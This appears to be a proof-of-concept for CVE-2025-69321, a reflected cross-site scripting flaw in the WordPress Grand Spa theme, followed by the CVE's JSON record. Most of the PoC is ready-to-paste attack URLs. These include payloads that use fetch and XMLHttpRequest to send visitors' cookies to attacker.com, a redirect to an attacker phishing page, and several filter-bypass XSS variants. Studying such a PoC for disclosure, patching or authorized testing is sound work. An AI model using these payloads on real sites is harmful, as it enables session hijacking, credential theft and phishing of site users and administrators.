CVE-2025-69321

<!-- CVE-2025-69321 PoC - Reflected XSS in Grand Spa Theme --> <!-- This PoC demonstrates the reflected XSS vulnerability in WordPress Grand Spa theme --> <!-- Target: ThemeGoods Grand Spa <= 3.5.5 --> <!-- Basic XSS PoC URL --> <!-- Replace 'TARGET_URL' with the vulnerable site URL --> PoC URL: TARGET_URL/?s=<script>alert('XSS')</script> <!-- Cookie Stealing PoC --> <!-- This script steals the user's cookies when executed --> PoC URL: TARGET_URL/?s=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> <!-- Session Hijacking PoC - Advanced --> <!-- Demonstrates how an attacker could hijack an admin session --> PoC URL: TARGET_URL/?s=<img src=x onerror='var xmlhttp=new XMLHttpRequest();xmlhttp.open("GET","https://attacker.com/log?c="+document.cookie,false);xmlhttp.send()'> <!-- HTML Injection + XSS Combined --> <!-- Shows how to inject arbitrary HTML and execute JavaScript --> PoC URL: TARGET_URL/?s="><script>document.location='https://attacker.com/phishing?redir='+document.domain</script> <!-- Testing with Different Payloads --> <!-- Various XSS bypass techniques --> TARGET_URL/?s=<script>alert(String.fromCharCode(88,83,83))</script> TARGET_URL/?s=<img src=x onerror=alert('XSS')> TARGET_URL/?s=<svg onload=alert('XSS')> TARGET_URL/?s=<iframe src="javascript:alert('XSS')"> <!-- Notes: 1. The actual vulnerable parameter may vary (s, search, q, etc.) 2. URL-encode special characters if necessary 3. Test in a controlled environment only 4. This PoC is for educational and authorized testing purposes only -->

{"cve": {"id": "CVE-2025-69321", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:27.977", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemeGoods Grand Spa grandspa allows Reflected XSS.This issue affects Grand Spa: from n/a through <= 3.5.5."}, {"lang": "es", "value": "Neutralización Inadecuada de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en ThemeGoods Grand Spa grandspa permite XSS Reflejado. Este problema afecta a Grand Spa: desde n/d hasta &lt;= 3.5.5."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/grandspa/vulnerability/wordpress-grand-spa-theme-3-5-5-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}